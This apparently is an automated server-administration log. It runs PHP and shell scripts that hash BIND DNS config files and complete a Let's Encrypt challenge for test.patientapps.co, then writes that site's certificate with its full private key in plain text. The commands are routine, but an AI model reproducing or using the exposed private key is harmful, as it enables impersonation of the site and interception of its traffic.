AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-09-13 10:55:51: Establishing a connection
2025-09-13 10:55:59: Establishing a connection
2025-09-13 10:55:59:
PUT: /tmp/pkp420904
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-09-13 10:56:00:
runuser -l bind -s /bin/bash -c '/tmp/pkp420904; rm /tmp/pkp420904'
2025-09-13 10:56:00:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= a3d92972abbb369edf3baf47c3e33e8b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-09-13 10:56:06: Establishing a connection
2025-09-13 10:56:06: Establishing a connection
2025-09-13 10:56:07:
PUT: /tmp/pkp507756
#!/bin/bash
if [ -d "/var/www/patientapps_test/.well-known" ]; then
echo 1
else
echo 0
fi
2025-09-13 10:56:07:
chmod 755 /tmp/pkp507756; /tmp/pkp507756; rm /tmp/pkp507756
2025-09-13 10:56:07:
1
2025-09-13 10:56:08: Establishing a connection
2025-09-13 10:56:08:
PUT: /tmp/pkp798420
#!/bin/bash
mkdir -p "/var/www/patientapps_test/.well-known/acme-challenge/"
cd "/var/www/patientapps_test/.well-known/acme-challenge/"
cat > UcrUcDZBJvtbmd3pAe0LsIfID5JpA_NsFKMsN1GFHf0 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
UcrUcDZBJvtbmd3pAe0LsIfID5JpA_NsFKMsN1GFHf0.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 UcrUcDZBJvtbmd3pAe0LsIfID5JpA_NsFKMsN1GFHf0
2025-09-13 10:56:08:
chmod 755 /tmp/pkp798420; /tmp/pkp798420; rm /tmp/pkp798420
2025-09-13 10:56:08:
2025-09-13 10:56:13: Establishing a connection
2025-09-13 10:56:13:
PUT: /tmp/pkp367976
#!/bin/bash
mkdir -p "/var/www/patientapps_test/.well-known/acme-challenge/"
cd "/var/www/patientapps_test/.well-known/acme-challenge/"
rm UcrUcDZBJvtbmd3pAe0LsIfID5JpA_NsFKMsN1GFHf0
2025-09-13 10:56:13:
chmod 755 /tmp/pkp367976; /tmp/pkp367976; rm /tmp/pkp367976
2025-09-13 10:56:13:
2025-09-13 10:56:13: Establishing a connection
2025-09-13 10:56:13:
PUT: /tmp/pkp267803
#!/bin/bash
temp_file=$(mktemp)
TARGET=b4d585ce19a4f3515f777a21dc27e293
cat > $temp_file <<'endmsg'
6b:c1:e4:8e:94:02:51:1d:0a:f4:66:25:45:c3:67:2f
-----BEGIN CERTIFICATE-----
MIIFAjCCA+qgAwIBAgISBh4Wwj3J1bN7v6YTUysdNeAMMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTEzMDk1NzQzWhcNMjUxMjEyMDk1NzQyWjAeMRwwGgYDVQQD
ExN0ZXN0LnBhdGllbnRhcHBzLmNvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAt9cLYBlvLp6YLwEAOToZQDUMh4hRoOJsrVG/hRfyev9i/q0MpT3erjRS
ZswF2xqj/cwq8TPgtCmRhE4mrauapapPADo69ZirMUIfUaBJ2C+o2t1q6XycxYL5
92nnVq004a9xPDo2NRAYGJ9HFrWyQGxd/ziM7dCdxxramm9x4fVHS6g2fDFu2liB
yM2HsnuRo3YLXLXZkdeyGl6ucXprL+zQE45ml3rdN32hY1Q28JVp1UCXNq4YdA8X
cOR5LZQSzILNyKngHzYxkrlz/5/nbpmHUP/pcbPPqhEmGuGCLgJf2EEEady4mQw/
3qBhKk7wnkM8IDviQn+zXW7XhWYMgwIDAQABo4ICIzCCAh8wDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBTRJnYt6MjrWLdzhww6nKD0O8X7RjAfBgNVHSMEGDAWgBTnq58P
LDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTMuaS5sZW5jci5vcmcvMB4GA1UdEQQXMBWCE3Rlc3QucGF0aWVudGFw
cHMuY28wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMy5jLmxlbmNyLm9yZy8xMy5jcmwwggEEBgorBgEEAdZ5AgQCBIH1BIHy
APAAdwDtPEvW6AbCpKIAV9vLJOI4Ad9RL+3EhsVwDyDdtz4/4AAAAZlCt+k1AAAE
AwBIMEYCIQDQnh0MWo0rrZQASrR6hSQ16ZyZxUlDRzORqx0UYJXk9gIhAJHFR8cg
f4R9ey9LnL2wa7BCXkFMdXB2oIjBcp3KJtoOAHUAGgT/SdBUHUCv9qDDv/HYxGcv
TuzuI0BomGsXQC7ciX0AAAGZQrfpRQAABAMARjBEAiBZu/zb8yXAJa2r+SqjLdFS
3uMOaVG+q09wCYgfTlUdbQIgV0QGLBKNGIpjG+Tqh6oq7Bcr4AsqweTM4KwUW/eC
YMcwDQYJKoZIhvcNAQELBQADggEBAJOOB+Q3AGhl76gKiEI4HoSQ5y4dGA1uSDBe
gutXIPZLByPcRKetFByxknPyxSRJijLiQepmgs1bt2v/S13GnRZUhzKXrk77TliO
3NHlXGpSCGefeceLtEAGkQdrDgAdMgunOgMkRFc8gzSfNckpW3WaEId7ffbi7v8N
9s57e8FhkNZ0zMoAoz6PJum4QkgoiFkUfrNuaIGvOGPiTBnDYVhhbNJsYc3o2G59
W4LMkPC0n9WZGD4u0WmKgsPQ0A36f4wvYp3IKTxYVzVUtYy2wHzMfzCnm+QtmcUm
M2Jjo8cHLhRUu5wWcu2a8GLKnFZvioQI+btIVHIsDBP4RclOJbI=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC31wtgGW8unpgv
AQA5OhlANQyHiFGg4mytUb+FF/J6/2L+rQylPd6uNFJmzAXbGqP9zCrxM+C0KZGE
Tiatq5qlqk8AOjr1mKsxQh9RoEnYL6ja3WrpfJzFgvn3aedWrTThr3E8OjY1EBgY
n0cWtbJAbF3/OIzt0J3HGtqab3Hh9UdLqDZ8MW7aWIHIzYeye5GjdgtctdmR17Ia
Xq5xemsv7NATjmaXet03faFjVDbwlWnVQJc2rhh0Dxdw5HktlBLMgs3IqeAfNjGS
uXP/n+dumYdQ/+lxs8+qESYa4YIuAl/YQQRp3LiZDD/eoGEqTvCeQzwgO+JCf7Nd
bteFZgyDAgMBAAECggEAI+5S2dh+w4TZx64RZh3123fC2CaLlb9LcGCe5xt0GBgc
OByIcS9ze2bciBzuNBGz5aHm7ret/mh1eX9wzdbRZfmwcSHwbhoFs53x0xlZ9Xfz
L7vA7pudZHkh8/pt7aHyyP1qS1QxThO0MfPHiCfBDBhiEsTxvnVcsRKNkUug3YGn
B+TDxfcfbKzqbL/zapYSGAMC4CTh6vBievW87CUWjW/ww5vwZ1Myh5lzQvK+bnT5
WlA81YN0FOipt3s845tNTySaP+uasdlHFz64i+RjCuRS+M9iA2NN7SL28WXBSTqB
oOCGs32ZQEx1dq1oUXlw2Z96P99GEv9VPUML6MaByQKBgQDotYwXMcBXO9EkT+mp
FdyOi1wveKUwbooDO77ZRiDB/YAtT+D6JvByAlLKZ5ovsiSxtl4SaVDS7hUHFNbU
UShSDlRJIzN2jwBFoI0WsUhSh28E7m3pqnndrS9rw1a/Uf+coZ4Cr1gzPAbl0s2l
iL1l5ghmO8d1Ao6wm0Wj2UCuPwKBgQDKPWBXRt3JvPDJ+4z8woZV+WaG/MrjdeEc
bPrZ3k3gEWCzPeW+ZY5wWR9Zw20YRJZ/GFFRYiJNFz1iUa52qBgIkEF6GnF2qkC8
OqVnToX4aE7TldPBpYDy9VRJJ4B5iAOVt74tE+in3HUEmoFj5Spyp8E+WhoC60r2
eaVuWtCYvQKBgC4VFYLaVU5xB/9627iiHaUUr9Kuv3eRzD7LrAV2v7Hqs2FFujWP
VHofP6nZTk03p9CRXpuiw2ChyQQ3+jrdP3DQaZx6HgzSUKl5G7dsr/e33iJJ3PYy
ziM50nQyoJEOeeHYl2PMuVicAHmufw7Svz7YiL1GBT+EnCEY/ndt5EMdAoGAcSWp
kurJByc4KCkelgNXGR6xp/AiquO2kCrApcfkFepjCaUltkInUN/r1FKr5JnrASxf
woJ+4laQN0Ovsh8VYyUiHOhSdquGEElXZNbfyTzCbUoz8PFhlYyAHXWGQXhBWTA1
rA6padDDf1HZ9kOuXftQ+Et8pglyJTelwHn6npkCgYEAmf3oNdyddcrxa13V3p/q
n/SjgT6+GLWc7m20Th5UpNX/7dGZW83yu7EO6NfkvtxiJ/PVFV+pKKrPFCo4c9qR
ogqlsMkOLqjPPaafmCTtRWZBgKpK/bf0ateyFyo34szCyn5yto6m9cMTtJtb1dZA
rgzpjkykU+zA7iWaYYcJQA8=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
